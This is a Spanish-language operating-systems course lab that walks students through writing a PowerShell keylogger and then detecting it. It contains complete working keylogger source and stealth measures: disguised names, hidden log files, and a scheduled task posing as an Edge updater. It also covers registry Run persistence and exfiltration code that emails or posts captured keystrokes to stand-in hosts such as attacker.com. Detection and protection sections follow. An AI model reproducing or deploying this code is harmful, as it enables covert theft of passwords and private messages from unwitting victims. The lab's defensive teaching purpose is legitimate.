Saltar al contenido principal

Lab 3.3: Keylogger PowerShell - Captura de Pulsaciones de Teclado

Objetivos de Aprendizaje​

Al final de este laboratorio, usted será capaz de:

  • Comprender el funcionamiento de un keylogger
  • Crear un keylogger PowerShell simple
  • Implementar sigilo y persistencia
  • Detectar la presencia de un keylogger
  • Comprender los riesgos asociados a PCs públicos y no supervisados
  • Aplicar medidas de protección

Duración Estimada​

35 minutos

Prerrequisitos​

  • VM Windows 10/11
  • PowerShell
  • Comprensión de los Labs 3.1 y 3.2

Contexto Profesional​

Los keyloggers son utilizados por:

  • Atacantes para robar contraseñas e información sensible
  • Empresas para la supervisión de empleados (¡con consentimiento legal!)
  • Padres para monitorear la actividad de los hijos (control parental)
  • Gobiernos para vigilancia dirigida (con orden judicial)

Este laboratorio demuestra:

  • Cómo TODO lo que usted escribe puede ser capturado
  • Por qué los PCs públicos son peligrosos
  • Cómo operan los ladrones de identidad
  • Importancia de la seguridad física
  • Técnicas de detección

ESTE LABORATORIO ENSEÑA LA CREACIÓN DE UN KEYLOGGER

Los keyloggers son herramientas EXTREMADAMENTE invasivas que capturan TODO lo que se escribe: contraseñas, mensajes privados, correos electrónicos, números de tarjeta bancaria, etc.

LEGAL ÚNICAMENTE SI:

  • En su propio ordenador/VM
  • Con consentimiento escrito de todas las personas monitoreadas
  • Para pruebas de seguridad autorizadas por contrato
  • Para monitoreo parental legal (solo menores de edad)

ESTRICTAMENTE ILEGAL:

  • Instalar en el ordenador de otra persona sin consentimiento
  • En PCs públicos (biblioteca, café, etc.)
  • En PC de trabajo sin autorización del empleador
  • En PC de cónyuge/pareja/familia sin consentimiento

CONSECUENCIAS EXTREMADAMENTE GRAVES:

  • Delito grave: Violación de la privacidad (Código penal art. 184)
  • Prisión hasta 5 años
  • Multas elevadas
  • Antecedentes penales permanentes
  • Demanda civil por daños
  • Expulsión académica

EN ALGUNOS PAÍSES/ESTADOS:

  • Keylogging = Delito al mismo nivel que la interceptación de comunicaciones
  • Penas aún más severas

ESTE LABORATORIO ES SOLO PARA COMPRENSIÓN Y DEFENSA

Al realizar este laboratorio, usted entiende que estas técnicas existen y aprende a protegerse de ellas. El uso malicioso es SU responsabilidad y tendrá graves consecuencias legales.


Parte 1: Comprender los Keyloggers​

Paso 1.1: ¿Qué es un Keylogger?​

Keylogger = Software (o hardware) que registra todas las pulsaciones de teclado.

Captura:

  • Contraseñas
  • Mensajes (correo, chat, SMS)
  • Documentos escritos
  • Búsquedas web
  • Números de tarjeta bancaria
  • Código PIN
  • ¡TODO!

Tipos:

  1. Software (este laboratorio): Programa que se ejecuta en segundo plano
  2. Hardware: Dispositivo físico entre teclado y PC
  3. A nivel de kernel: Integrado en el sistema operativo
  4. A nivel de hipervisor: A nivel de virtualización

Paso 1.2: ¿Cómo Funciona?​

Principio técnico:

  1. Hook de teclado: Intercepta los eventos del teclado
  2. Captura de tecla: Registra qué tecla se presiona
  3. Timestamp: Hora exacta de la pulsación
  4. Ventana activa: Qué programa/sitio está activo
  5. Guardado: Escribe en un archivo log oculto
  6. Exfiltración: Envía los logs al atacante

API de Windows utilizada:

  • GetAsyncKeyState() - Estado actual de las teclas
  • GetForegroundWindow() - Ventana activa
  • GetWindowText() - Título de la ventana

Preguntas:

  1. ¿Ha utilizado alguna vez un PC público (biblioteca, café)?
  2. ¿Ha escrito contraseñas en esos PCs?

Paso 1.3: Escenarios de Uso Malicioso​

Escenario 1: PC Público

  • Keylogger instalado en PC de biblioteca
  • Usted escribe contraseña de correo/banco
  • Atacante recupera el log más tarde
  • Accede a todas sus cuentas

Escenario 2: USB Malicioso

  • Memoria USB encontrada contiene keylogger
  • Auto-ejecución o curiosidad → Instalación
  • Captura durante meses
  • Robo de identidad completo

Escenario 3: Pareja Celosa

  • Instalación en PC compartido
  • Captura conversaciones, correos
  • Grave violación de la privacidad
  • ¡Ilegal incluso entre parejas!

Preguntas: 3. ¿Qué escenario le parece más probable? 4. ¿Cómo se protegería?


Parte 2: Creación del Keylogger​

Paso 2.1: Versión Básica (¡15 líneas!)​

Cree un archivo keylogger_basic.ps1:

# Keylogger PowerShell Básico
$logFile = "$env:TEMP\log.txt"

Add-Type -AssemblyName System.Windows.Forms

while ($true) {
Start-Sleep -Milliseconds 10

foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}

ATENCIÓN: Este código está simplificado para demostración. La versión real es más compleja.

Ejecute en segundo plano:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1

¡Ventana invisible! El keylogger se ejecuta en segundo plano.

Paso 2.2: Versión Mejorada (Más Realista)​

Cree keylogger_advanced.ps1:

# Keylogger PowerShell Avanzado
# ¡SOLO PARA USO EDUCATIVO!

$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""

# Firma API Windows
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);

[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();

[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@

function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}

function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}

Write-Log "===== Keylogger Started ====="

# Bucle principal
while ($true) {
Start-Sleep -Milliseconds 10

# Verificar ventana activa
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}

# Verificar cada tecla
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)

if ($keyState -eq -32767) {
# Tecla presionada
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)

# Teclas especiales
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Letra o número
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}

Funcionalidades:

  • ✅ Captura todas las teclas
  • ✅ Detecta la ventana activa (saber qué sitio/app)
  • ✅ Timestamp preciso
  • ✅ Archivo log oculto
  • ✅ Maneja teclas especiales (Enter, Backspace, etc.)

Preguntas: 5. ¿Cuántas líneas tiene este keylogger? 6. ¿Es difícil de crear? (Respuesta: ¡NO!)

Paso 2.3: Ejecución y Prueba​

Inicie el keylogger:

Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"

Ahora, escriba cosas:

  1. Abra Notepad
  2. Escriba: "Esto es una prueba"
  3. Abra el navegador
  4. Escriba: "contraseña: Test123!"
  5. Abra la calculadora
  6. Escriba algunos números

Detenga el keylogger:

Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Paso 2.4: Ver los Resultados​

Abra el archivo log:

notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"

USTED VE:

[2024-11-08 14:23:15] ===== Keylogger Started =====

[2024-11-08 14:23:20] === Window: Sin título - Bloc de notas ===
E s t o e s u n a p r u e b a [ENTER]

[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
c o n t r a s e ñ a : T e s t 1 2 3 ! [ENTER]

[2024-11-08 14:24:10] === Window: Calculadora ===
1 2 3 4 5 6 7 8 9 0

¡WOW! ¡TODO ESTÁ CAPTURADO!

Incluso:

  • Las contraseñas (mostradas como puntos pero capturadas en claro)
  • Las ventanas utilizadas
  • La hora exacta
  • Las teclas especiales

Preguntas: 7. ¿Le sorprende ver todo lo que se ha capturado? 8. Imagine este archivo después de un día completo...


Parte 3: Sigilo y Persistencia​

Paso 3.1: Hacerlo Invisible​

Problema actual:

  • Proceso powershell.exe visible en el Administrador de tareas
  • Consumo de CPU visible
  • Archivo log detectable

Mejoras:

1. Nombre de proceso disfrazado:

Renombrar el script:

  • winupdate.ps1 (parece Windows Update)
  • svchost.ps1 (parece servicio de Windows)
  • chrome_update.ps1 (parece Chrome)

2. Archivo log oculto:

$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"

# Crear carpeta si no existe
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)

# Marcar archivo como oculto y de sistema
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'

3. Reducir consumo de CPU:

# En vez de 10ms, usar 50ms o 100ms
Start-Sleep -Milliseconds 50

¡Menos preciso pero menos detectable!

Paso 3.2: Persistencia Automática​

Método 1: Tarea Programada

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"

¡Nombre que parece tarea legítima!

Método 2: Clave de Registro Run

$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand

¡Se inicia en cada inicio de sesión!

Método 3: Servicio de Windows (Avanzado)

# Crear servicio de Windows disfrazado
# Requiere privilegios SYSTEM
# No cubierto en detalle aquí pero muy eficaz

Preguntas: 9. ¿Qué método de persistencia prefiere? 10. ¿Cómo detectaría esto un usuario normal?

Paso 3.3: Exfiltración de Logs​

Problema: El atacante debe recuperar el archivo log

Soluciones:

1. Email automático (simple):

# Enviar log por email cada día
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"

Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp

2. Upload HTTP (sigiloso):

$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw

Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing

3. Reverse shell periódico:

Enviar log vía reverse shell establecido (¡Lab 3.2!)

4. Almacenamiento en la nube (muy sigiloso):

# Subir a Dropbox/OneDrive/Google Drive
# Pasa desapercibido porque es tráfico "legítimo"

¡Difícil de detectar porque parece tráfico normal!


Parte 4: Detección de Keylogger​

Paso 4.1: Detección por Proceso​

Buscar procesos PowerShell sospechosos:

Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List

Sospechoso si:

  • Iniciado al inicio de sesión
  • Argumento contiene "Hidden"
  • No lo inició usted
  • Lleva mucho tiempo ejecutándose

Terminar proceso sospechoso:

Stop-Process -Id <PID> -Force

Paso 4.2: Detección por Archivos​

Buscar archivos logs sospechosos:

# Buscar archivos .txt o .log modificados recientemente
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime

Examine archivos sospechosos:

notepad "C:\Path\To\Suspicious\File.txt"

Si ve sus propias pulsaciones = ¡KEYLOGGER!

Paso 4.3: Detección por Tareas Programadas​

Listar todas las tareas:

Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | 
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize

Examinar tareas sospechosas:

$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions

Sospechoso si:

  • El nombre parece servicio de Windows pero realmente no existe
  • Acción = PowerShell con script desconocido
  • Usted no la creó

Eliminar:

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false

Paso 4.4: Detección por Registro​

Verificar claves Run:

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

¡Cualquier entrada desconocida = sospechosa!

Eliminar:

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"

Paso 4.5: Herramientas de Detección Automatizadas​

Utilizar antivirus/antimalware:

# Windows Defender escaneo completo
Start-MpScan -ScanType FullScan

Herramientas especializadas:

  • Malwarebytes (gratuito)
  • HitmanPro
  • RogueKiller
  • KL-Detector (específico para keyloggers)

Preguntas: 11. ¿Ha detectado su propio keylogger? 12. ¿Cuánto tiempo tomó la detección?


Parte 5: Escenarios Reales e Impacto​

Paso 5.1: Robo de Identidad Completo​

Lo que un keylogger puede capturar en 1 semana:

Día 1:

  • Correo: usuario + contraseña
  • Redes sociales: Facebook, Instagram, Twitter
  • Búsquedas personales en Google

Día 2:

  • Banca en línea: usuario + contraseña + código
  • Número de tarjeta bancaria + CVV + fecha de expiración
  • Conversaciones privadas (Messenger, WhatsApp Web)

Día 3:

  • VPN de empresa: acceso a red corporativa
  • Correos profesionales sensibles
  • Documentos confidenciales escritos

Día 4:

  • Contraseñas de colegas (si se comparten)
  • Credenciales de servidores
  • Secretos industriales

Día 5-7:

  • Acumulación de datos
  • Patrones de vida (horas de conexión, hábitos)
  • Contactos y relaciones

RESULTADO:

  • Robo de identidad total
  • Acceso a todas sus cuentas
  • Compromiso de su empleador
  • Posible chantaje
  • Ruina financiera potencial

Paso 5.2: Caso Real - Magic Lantern (FBI)​

2001: FBI desarrolla keylogger "Magic Lantern"

  • Desplegado vía exploit o acceso físico
  • Captura claves de cifrado
  • Elude PGP y otros cifrados

Revelado públicamente: Controversia sobre privacidad

Paso 5.3: Caso Real - Cibercafés en Asia​

Años 2010: Keyloggers descubiertos en 60% de PCs de cibercafés

  • Tailandia, Filipinas, India
  • Turistas víctimas
  • Cuentas bancarias vaciadas tras regresar a casa

Consejo de viaje: ¡NUNCA acceda a la banca desde un PC público!

Paso 5.4: Caso Real - Empresa Comprometida​

2018: Empresa farmacéutica comprometida

  • Keylogger instalado en PC de empleado vía phishing
  • Acceso VPN capturado
  • Movimiento lateral hacia servidores de I+D
  • Robo de fórmulas de medicamentos valoradas en más de $100M

Costo total: ¡Quiebra de la empresa!

Preguntas: 13. ¿Le parecen realistas estos escenarios? 14. ¿Cuál sería el impacto si hubiera un keylogger en su PC ahora?


Parte 6: Medidas de Protección​

Paso 6.1: Protección Personal​

1. NUNCA usar PC público para:

  • Banca en línea
  • Correo electrónico
  • Redes sociales
  • Compras en línea
  • ¡Nada sensible!

2. Teclado virtual (on-screen keyboard):

osk

Haga clic en las letras en vez de escribir = ¡evita el keylogger!

Limitación: No es práctico para uso diario

3. Gestor de contraseñas:

Bitwarden, 1Password, LastPass:

  • Autocompletado = no hay pulsaciones de teclado
  • El keylogger no captura nada

4. Autenticación de dos factores (2FA):

Incluso si la contraseña es robada:

  • 2FA impide el acceso
  • Se requiere código en el teléfono

Paso 6.2: Protección Empresarial​

1. Antivirus/EDR:

Endpoint Detection and Response:

  • Detecta comportamientos sospechosos
  • Bloquea keyloggers conocidos
  • Alerta al equipo de seguridad

2. Whitelisting de aplicaciones:

Solo programas autorizados pueden ejecutarse:

# AppLocker
# Device Guard
# Windows Defender Application Control

3. Política de ejecución PowerShell:

Set-ExecutionPolicy AllSigned -Force

¡Solo scripts firmados por una autoridad aprobada!

4. Monitoreo:

  • SIEM (Security Information and Event Management)
  • Log de todos los procesos PowerShell
  • Alerta si se ejecuta con "-Hidden"

Paso 6.3: Protección Física​

PC Personal:

  1. BitLocker activado (impide instalación en modo recuperación)
  2. Bloqueo automático tras 1 minuto
  3. Contraseña BIOS (impide arranque alternativo)
  4. Nunca dejar sin supervisión

PC Empresarial: 5. Cifrado de disco completo obligatorio 6. Puertos USB desactivados (impide autorun) 7. Vigilancia por video en salas de servidores 8. Tarjeta de acceso requerida


Parte 7: Keyloggers Hardware​

Paso 7.1: ¿Qué es un Keylogger Hardware?​

Dispositivo físico:

  • Conectado entre teclado y PC
  • O integrado en el teclado
  • O integrado en el cable

Ventajas (para el atacante):

  • ¡Imposible de detectar por software!
  • Ningún antivirus puede encontrarlo
  • Funciona en cualquier SO (Windows, Linux, Mac)
  • No hay proceso que ocultar

Apariencia:

  • Parece un adaptador USB
  • O completamente invisible (integrado)

Paso 7.2: Detección Hardware​

Cómo detectar:

  1. Inspección visual regular

    • Verificar conexiones del teclado
    • Buscar dispositivos entre teclado y PC
    • Comparar con el estado normal
  2. Verificar cables

    • ¿Caja sospechosa en el cable?
    • ¿Cable más grueso de lo habitual?
  3. Baseline de hardware

    • Fotografiar el setup normal
    • Comparar regularmente

En la empresa:

  • Sellos de seguridad en conectores
  • Inventario de hardware estricto
  • Inspecciones regulares

Paso 7.3: Protección Contra Hardware​

Soluciones:

  1. Teclado inalámbrico Bluetooth (más difícil de interceptar)
  2. Inspección visual regular
  3. Entorno controlado
  4. Teclado virtual para contraseñas críticas

Parte 8: Ejercicios Prácticos​

Ejercicio 8.1: Mejorar el Keylogger​

Agregue estas funcionalidades:

  1. Captura de capturas de pantalla periódicas
  2. Detección de palabras clave ("password", "bank", "credit card")
  3. Cifrado del archivo log
  4. Compresión antes de la exfiltración

Ejercicio 8.2: Script de Detección​

Cree un script que:

  1. Escanee procesos PowerShell sospechosos
  2. Verifique tareas programadas
  3. Busque archivos logs sospechosos
  4. Verifique claves de registro Run
  5. Genere reporte HTML

Ejercicio 8.3: Política de Seguridad​

Redacte una política empresarial:

  • Prohibición de keyloggers
  • Procedimientos de detección
  • Sanciones en caso de uso
  • Formación de empleados

Entregables​

A entregar:

  1. Documento de análisis (Word/PDF, 3-4 páginas):

    • Respuestas a las 14 preguntas
    • Explicación del funcionamiento del keylogger
    • Captura de pantalla del archivo log (¡ANONIMIZADA!)
    • Análisis de riesgos personales
  2. Capturas de pantalla (mínimo 5):

    • Código del keylogger
    • Proceso PowerShell en ejecución
    • Archivo log con capturas (anonimizadas)
    • Tarea programada de persistencia
    • Detección y eliminación
  3. Plan de protección personal (1-2 páginas):

    • Evaluación de sus riesgos actuales
    • Medidas a implementar
    • Cambios de hábitos
    • Cronograma de implementación
  4. Sensibilización (opcional, +5% bonus):

    • Video o presentación (5 min)
    • "Por qué nunca usar un PC público"
    • Demostración del keylogger
    • Consejos de protección

Criterios de Evaluación​

CriterioPuntos
Keylogger funcional creado y probado25%
Comprensión del funcionamiento20%
Detección y eliminación exitosas20%
Análisis de riesgos reales15%
Plan de protección personal15%
Calidad de la documentación5%
Bonus sensibilización+5%

Comandos de Referencia Rápida​

Ejecución​

# Iniciar keylogger oculto
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"

# Detener
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Detección​

# Procesos sospechosos
Get-Process powershell | Select Id,StartTime,CommandLine

# Archivos logs recientes
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force

# Tareas programadas
Get-ScheduledTask | Where State -eq "Ready"

# Claves Run
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

Limpieza​

# Eliminar tarea
Unregister-ScheduledTask -TaskName "SuspiciousTask"

# Eliminar clave de registro
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"

# Eliminar archivo log
Remove-Item -Path $logFile -Force

Solución de Problemas​

Problema: El keylogger no captura nada​

Solución:

  • Verifique que el script se esté ejecutando (Get-Process powershell)
  • Verifique que el archivo log se haya creado
  • ¿Permisos de escritura en la carpeta?

Problema: Antivirus bloquea​

Solución:

  • ¡Es NORMAL! ¡Es un keylogger!
  • Agregue exclusión solo para este laboratorio
  • Reactivar protección después

Problema: Alto consumo de CPU​

Solución:

  • Aumente el delay de Start-Sleep (50ms o 100ms)
  • Optimice el bucle de detección

Para Profundizar (Opcional)​

Challenge 1: Keylogger GUI​

Cree una interfaz gráfica para:

  • Iniciar/detener la captura
  • Ver logs en tiempo real
  • Filtrar por aplicación
  • Exportar en diferentes formatos

Challenge 2: Anti-Keylogger​

Desarrolle una herramienta que:

  • Detecte keyloggers activos
  • Los elimine automáticamente
  • Proteja en tiempo real
  • Alerta al usuario

Challenge 3: Investigación​

Estudie keyloggers profesionales:

  • FinFisher/FinSpy (gubernamental)
  • Ardamax Keylogger (comercial)
  • Perfect Keylogger (comercial)

Compárelos con su versión.


Recursos Adicionales​


Conclusión​

Este laboratorio le ha enseñado a:

  • Crear un keylogger PowerShell funcional
  • Implementar sigilo y persistencia
  • Detectar y eliminar keyloggers
  • Comprender los riesgos reales
  • Aplicar medidas de protección

Lecciones CRÍTICAS:

  1. 15 líneas de código = ¡Keylogger funcional!
  2. TODO lo que usted escribe puede ser capturado
  3. PCs públicos = PELIGRO EXTREMO
  4. Gestor de contraseñas = Protección esencial
  5. Nunca escribir contraseñas sensibles en PC no seguro
  6. Detección difícil pero posible con vigilancia

TOMA DE CONSCIENCIA:

Después de este laboratorio, nunca volverá a ver un teclado de la misma manera. Cada vez que escriba una contraseña, pregúntese: "¿Este PC es seguro?"

PROTÉJASE:

  • Use gestor de contraseñas AHORA
  • Active 2FA en TODAS sus cuentas
  • Nunca haga banca en PC público
  • Revise regularmente sus procesos
  • Eduque a su entorno

MENSAJE FINAL:

Ahora tiene el poder de crear un keylogger en pocos minutos. Este poder conlleva una ENORME responsabilidad.

Use este conocimiento para:

  • ✅ Protegerse
  • ✅ Proteger a los demás
  • ✅ Sensibilizar a su entorno
  • ✅ Pruebas de seguridad autorizadas

NUNCA para:

  • ❌ Espiar
  • ❌ Robar
  • ❌ Violar la privacidad
  • ❌ Dañar

Esté del lado de los buenos. 🛡️


Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 3

⚠️ RECORDATORIO FINAL: Keylogger en ordenador ajeno = DELITO GRAVE. Prisión garantizada.